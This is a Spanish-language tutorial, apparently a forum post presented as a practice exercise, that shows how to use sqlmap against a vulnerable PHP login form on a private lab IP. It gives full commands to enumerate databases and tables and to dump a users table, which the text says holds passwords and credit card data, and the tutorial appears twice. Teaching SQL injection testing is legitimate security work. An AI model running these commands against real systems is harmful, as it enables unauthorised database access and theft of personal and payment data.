SQLMap
___________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________
Primero de todo un breve resumen de que es SQLMap - es una herramienta de prueba de penetración que automatiza la detección y explotación de vulnerabilidades de inyección SQL en aplicaciones web. Es de código abierto y está escrito en Python.
___________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________
Mostrare una serie de pasos para la obtención de una base de datos a través de una formulario php mal realizado:
Para la practica usaremos una formulario mal estructurado, donde observamos el comparador like el cual permite que un usuario ingrese caracteres en una consulta sql y por ultimo el *.
IMPORTANTE - No es necesario tener acceso al código como muestro anteriormente con un inspeccionar en el formulario y con la obtención de los nombre ya se puede realizar.
1. Obtención de la base de datos.
Para el primer paso de sql injection intentaremos conseguir todas las bases de datos disponibles, usaremos sqlmap.
Comanda:
sqlmap -u "172.22.9.216/php/ejercicio10/login.php" --data="accion=autentica&contrasena=b&usuario=b" --dbs -p "contrasena" -p "usuario" --level 5 --batch
-u → parametro para indicar la URL
–data → parametro para indicar los datos que se buscaran
–dbs → parametro que indica que se debe buscar la lista de bases de datos disponibles en el servidor.
–p →indicar los parametros de entrada de la URL a los que se le aplicara el ataque
–level →indicar el nivel de profundidad que se utilizara para la detección
–batch → indica que sqlmap debe ejecutarse en modo bath (automatico)
Observamos como nos devuelve la base de datos:
2. Obtención de las tablas de la base a conseguida:
Una vez obtenida la base de datos y su nombre usaremos la misma comanda agregando el parámetro -D donde indicaremos el nombre de la base de datos y por último agregaremos –dbms “Mysql” para indicar el tipo de gestor de la base utilizada
Comanda:
sqlmap -u "172.22.9.216/php/ejercicio10/login.php" --data="accion=autentica&contrasena=b&usuario=b" --dbms "MySQL" -p "contrasena" -p "usuario" --level 5 --batch -D "mibasebd" --tables
-u → parametro para indicar la URL
–data → parametro para indicar los datos que se buscaran
–dbms → parametro que indica el gestor utilizado para la base de datos.
–p →indicar los parametros de entrada de la URL a los que se le aplicara el ataque
–level →indicar el nivel de profundidad que se utilizara para la detección
–batch → indica que sqlmap debe ejecutarse en modo bath (automatico)
-D → indica el nombre de la base de datos a la que aplicara el ataque
–tables → debe buscar las tablas disponibles de la base especificada
Observamos cómo nos devuelve la tabla user de la bd mibasebd:
3. Obtención de datos de la tabla a conseguida:
Por último, el paso más importante es conseguir las contraseñas que se almacenan en la base de datos a traves del formulario php. Ejecutaremos nuevamente la misma comanda agregando -T users y –dump que esto nos permitira extraer los datos
Comanda:
sqlmap -u "172.22.9.216/php/ejercicio10/login.php" --data="accion=autentica&contrasena=b&usuario=b" --dbms "MySQL" -p "contrasena" -p "usuario" --level 5 --batch -D "mibasebd" -T "users" --dump
-T users → buscara de la tabla users
–dump → extrae los datos de la tabla especificada
Finalmente logramos vulnerabilizar una base de datos con un formulario PHP y conseguir los datos más críticos como usuario contraseña, dirección y tarjeta de crédito.
_______________________________________
Espero que os sirva como aprendizaje este pequeño ejemplo, <3 Agradecería propuestas y mejoras
By: Cthulhu
___________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________
Primero de todo un breve resumen de que es SQLMap - es una herramienta de prueba de penetración que automatiza la detección y explotación de vulnerabilidades de inyección SQL en aplicaciones web. Es de código abierto y está escrito en Python.
___________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________
Mostrare una serie de pasos para la obtención de una base de datos a través de una formulario php mal realizado:
Para la practica usaremos una formulario mal estructurado, donde observamos el comparador like el cual permite que un usuario ingrese caracteres en una consulta sql y por ultimo el *.
IMPORTANTE - No es necesario tener acceso al código como muestro anteriormente con un inspeccionar en el formulario y con la obtención de los nombre ya se puede realizar.
1. Obtención de la base de datos.
Para el primer paso de sql injection intentaremos conseguir todas las bases de datos disponibles, usaremos sqlmap.
Comanda:
sqlmap -u "172.22.9.216/php/ejercicio10/login.php" --data="accion=autentica&contrasena=b&usuario=b" --dbs -p "contrasena" -p "usuario" --level 5 --batch
-u → parametro para indicar la URL
–data → parametro para indicar los datos que se buscaran
–dbs → parametro que indica que se debe buscar la lista de bases de datos disponibles en el servidor.
–p →indicar los parametros de entrada de la URL a los que se le aplicara el ataque
–level →indicar el nivel de profundidad que se utilizara para la detección
–batch → indica que sqlmap debe ejecutarse en modo bath (automatico)
Observamos como nos devuelve la base de datos:
2. Obtención de las tablas de la base a conseguida:
Una vez obtenida la base de datos y su nombre usaremos la misma comanda agregando el parámetro -D donde indicaremos el nombre de la base de datos y por último agregaremos –dbms “Mysql” para indicar el tipo de gestor de la base utilizada
Comanda:
sqlmap -u "172.22.9.216/php/ejercicio10/login.php" --data="accion=autentica&contrasena=b&usuario=b" --dbms "MySQL" -p "contrasena" -p "usuario" --level 5 --batch -D "mibasebd" --tables
-u → parametro para indicar la URL
–data → parametro para indicar los datos que se buscaran
–dbms → parametro que indica el gestor utilizado para la base de datos.
–p →indicar los parametros de entrada de la URL a los que se le aplicara el ataque
–level →indicar el nivel de profundidad que se utilizara para la detección
–batch → indica que sqlmap debe ejecutarse en modo bath (automatico)
-D → indica el nombre de la base de datos a la que aplicara el ataque
–tables → debe buscar las tablas disponibles de la base especificada
Observamos cómo nos devuelve la tabla user de la bd mibasebd:
3. Obtención de datos de la tabla a conseguida:
Por último, el paso más importante es conseguir las contraseñas que se almacenan en la base de datos a traves del formulario php. Ejecutaremos nuevamente la misma comanda agregando -T users y –dump que esto nos permitira extraer los datos
Comanda:
sqlmap -u "172.22.9.216/php/ejercicio10/login.php" --data="accion=autentica&contrasena=b&usuario=b" --dbms "MySQL" -p "contrasena" -p "usuario" --level 5 --batch -D "mibasebd" -T "users" --dump
-T users → buscara de la tabla users
–dump → extrae los datos de la tabla especificada
Finalmente logramos vulnerabilizar una base de datos con un formulario PHP y conseguir los datos más críticos como usuario contraseña, dirección y tarjeta de crédito.
_______________________________________
Espero que os sirva como aprendizaje este pequeño ejemplo, <3 Agradecería propuestas y mejoras
By: Cthulhu
Última edición: